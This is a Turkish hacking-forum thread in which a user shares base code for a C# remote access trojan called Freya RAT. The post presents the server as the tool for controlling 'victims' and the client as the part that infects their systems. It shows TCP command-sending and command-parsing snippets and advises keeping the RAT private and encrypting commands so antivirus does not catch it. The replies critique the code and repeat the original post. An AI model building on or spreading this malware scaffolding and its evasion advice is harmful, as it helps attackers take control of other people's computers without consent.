C# Freya Rat Base Code En Kolay Yoldan Server - Client bağlantısı.

Endarion

Katılımcı Üye
29 Ağu 2021
890
4
519
Righteous Side of Hell
Selamlar, uzun bir aradan sonra tekrardan aranızdayım. Eskisi gibi olmasa da arada bu tarz proje paylaşımlarına tekrar başlamaya karar verdim. Neyse, uzatmadan konuya geçelim.

Rat nedir diye anlatmayacağım burada. Zaten bilmeyenin olduğunu düşünmüyorum.
Bilmeyenler için:

İki adet uygulamadan oluşuyor proje. Biri Server Side diğeri Client Side. Server adı üstünde kurbanları yöneteceğimiz, komutlar göndereceğimiz uygulama, Client ise Kurbanların sistemine bulaşacak olan uygulama.

Komut göndermenin yöntemi iki projenin kodlarında da var zaten. Onu kullanarak komut gönderme ve cevap almayı halledersiniz herhalde.

Şimdi size komut göndermenin ve gelen cevapları yorumlamanın mantığını öğreteyim.

Kullanacağımız yöntem String.Split(); olacak. Bununda nasıl kullanılacağını yazmayacağım hemen altta kaynak ekledim.

Şimdi Serverdan Client'a MessageBox çıkarması için komut göndermek istiyoruz diyelim:
C#:
if (listBox1.SelectedIndex != -1)
            {
                String clientName = listBox1.GetItemText(listBox1.SelectedItem);

                chat.Clear();
                chat.Add("gChat");
                chat.Add("MSGBOX" + "|" + "Error" + "|" + "Mesajın içeriği buraya" + "|" + "Mesajın başlığı buraya");

                byte[] byData = ObjectToByteArray(chat);
                TcpClient workerSocket = null;
                workerSocket = (TcpClient)clientList.FirstOrDefault(x => x.Key == clientName).Value;

                NetworkStream stm = workerSocket.GetStream();
                stm.Write(byData, 0, byData.Length);
                stm.Flush();
                chat.Clear();
            }


Peki Clientta bunu nasıl kullanacağız? Şu şekilde:
C#:
            string data = "MSGBOX" + "|" + "Error";
            String[] spl = data.Split('|');

            switch (spl[0])
            {
                case "MSGBOX":
                    switch (spl[1])
                    {
                        case "Error":
                            MessageBox.Show(spl[2], spl[3], MessageBoxButtons.OK, MessageBoxIcon.Error);
                            break;
                    }
                    break;
            }

string.Split() methodunu bildikten sonra çokta komplike birşey yok aslında. Sadece komutu gönderecek ve bir cevap alacaksınız. Ve evet, hazır kodlarla RAT kodlamak bu kadar kolay.

Son olarak söyleyeceğim birkaç tavsiye var, bunlarda kendi ratını çıkaracak olanlara.

Eğer Rat'ın hemen tespit edilmesini istemiyorsanız başkalarıyla paylaşmayın benim yaptığım gibi. Kendinize saklayın, kendiniz kullanın. Ya da paylaşın, bana giren çıkan yok.

Eğer Ratı geliştirecekseniz komutları kesinlikle şifreleyerek gönderin. Diğer türlü antiler gene yakalayacaktır clientı. Tabii bir kaç yöntem daha var bildiğim ancak onlarıda paylaşmayayım. Eğer takıldığınız, merak ettiğiniz herhangi bir şey olursa lütfen konu altında yorumlarda yazın. Dmlere bakamıyorum.

Github:

//Kolay gelsin.
 
Son düzenleme:

jasgues

Katılımcı Üye
22 Nis 2009
806
1
32
Sakarya
Server'dan gelen tcp bağlantısı client tarafında karşılanmamış. Bu kod parçalarındaki en önemsiz şeylerden biri split iken bunu neden vurguladığını da anlamadım. Split, elimizdeki string değerin verilen parametreye göre parçalara bölünmesinden ibaret hazır bir metod
 

Endarion

Katılımcı Üye
29 Ağu 2021
890
4
519
Righteous Side of Hell
Server'dan gelen tcp bağlantısı client tarafında karşılanmamış. Bu kod parçalarındaki en önemsiz şeylerden biri split iken bunu neden vurguladığını da anlamadım. Split, elimizdeki string değerin verilen parametreye göre parçalara bölünmesinden ibaret hazır bir metod
Biliyorum, ancak else if ile yapmaktansa bu yöntem daha kolay olduğundan dile daha yeni başlamış kişilerin bile kolaylıkla kullanabilmesi açısından anlattım split methodunu. Ve Bağlantı karşılanmamış derken neyden bahsediyorsun tam olarak anlayamadım. Başka bir projenin ufak şekilde modifiye edilmiş hali bu.
 

jasgues

Katılımcı Üye
22 Nis 2009
806
1
32
Sakarya
Gösterdiğin kod bloklarında; server kısmında tcp bağlantısı varya, örneği sağlamlaştırmak için client tarafında da bir tcp bağlantısı oluşturup buradan gönderilen paket bu tarafta karşılanıyor demen daha iyi olurdu. "Base code" dediğin için bu öneride bulundum. Rat'ı sen mi yazdın?
 

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı
Selamlar, uzun bir aradan sonra tekrardan aranızdayım. Eskisi gibi olmasa da arada bu tarz proje paylaşımlarına tekrar başlamaya karar verdim. Neyse, uzatmadan konuya geçelim.

Rat nedir diye anlatmayacağım burada. Zaten bilmeyenin olduğunu düşünmüyorum.
Bilmeyenler için:

İki adet uygulamadan oluşuyor proje. Biri Server Side diğeri Client Side. Server adı üstünde kurbanları yöneteceğimiz, komutlar göndereceğimiz uygulama, Client ise Kurbanların sistemine bulaşacak olan uygulama.

Komut göndermenin yöntemi iki projenin kodlarında da var zaten. Onu kullanarak komut gönderme ve cevap almayı halledersiniz herhalde.

Şimdi size komut göndermenin ve gelen cevapları yorumlamanın mantığını öğreteyim.

Kullanacağımız yöntem String.Split(); olacak. Bununda nasıl kullanılacağını yazmayacağım hemen altta kaynak ekledim.

Şimdi Serverdan Client'a MessageBox çıkarması için komut göndermek istiyoruz diyelim:
C#:
if (listBox1.SelectedIndex != -1)
            {
                String clientName = listBox1.GetItemText(listBox1.SelectedItem);

                chat.Clear();
                chat.Add("gChat");
                chat.Add("MSGBOX" + "|" + "Error" + "|" + "Mesajın içeriği buraya" + "|" + "Mesajın başlığı buraya");

                byte[] byData = ObjectToByteArray(chat);
                TcpClient workerSocket = null;
                workerSocket = (TcpClient)clientList.FirstOrDefault(x => x.Key == clientName).Value;

                NetworkStream stm = workerSocket.GetStream();
                stm.Write(byData, 0, byData.Length);
                stm.Flush();
                chat.Clear();
            }


Peki Clientta bunu nasıl kullanacağız? Şu şekilde:
C#:
            string data = "MSGBOX" + "|" + "Error";
            String[] spl = data.Split('|');

            switch (spl[0])
            {
                case "MSGBOX":
                    switch (spl[1])
                    {
                        case "Error":
                            MessageBox.Show(spl[2], spl[3], MessageBoxButtons.OK, MessageBoxIcon.Error);
                            break;
                    }
                    break;
            }

string.Split() methodunu bildikten sonra çokta komplike birşey yok aslında. Sadece komutu gönderecek ve bir cevap alacaksınız. Ve evet, hazır kodlarla RAT kodlamak bu kadar kolay.

Son olarak söyleyeceğim birkaç tavsiye var, bunlarda kendi ratını çıkaracak olanlara.

Eğer Rat'ın hemen tespit edilmesini istemiyorsanız başkalarıyla paylaşmayın benim yaptığım gibi. Kendinize saklayın, kendiniz kullanın. Ya da paylaşın, bana giren çıkan yok.

Eğer Ratı geliştirecekseniz komutları kesinlikle şifreleyerek gönderin. Diğer türlü antiler gene yakalayacaktır clientı. Tabii bir kaç yöntem daha var bildiğim ancak onlarıda paylaşmayayım. Eğer takıldığınız, merak ettiğiniz herhangi bir şey olursa lütfen konu altında yorumlarda yazın. Dmlere bakamıyorum.

Github:

//Kolay gelsin.
Elinize saglik
 

Endarion

Katılımcı Üye
29 Ağu 2021
890
4
519
Righteous Side of Hell
Gösterdiğin kod bloklarında; server kısmında tcp bağlantısı varya, örneği sağlamlaştırmak için client tarafında da bir tcp bağlantısı oluşturup buradan gönderilen paket bu tarafta karşılanıyor demen daha iyi olurdu. "Base code" dediğin için bu öneride bulundum. Rat'ı sen mi yazdın?
Tam olarak kod benim değil, açık kaynak kodlu bir github projesinin modlanmış hali. Base Code'yide yanlış yerde kullandıysam affola. En temel Rat Kaynak kodu anlamını katmak istemiştim.

Teşekkürler.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.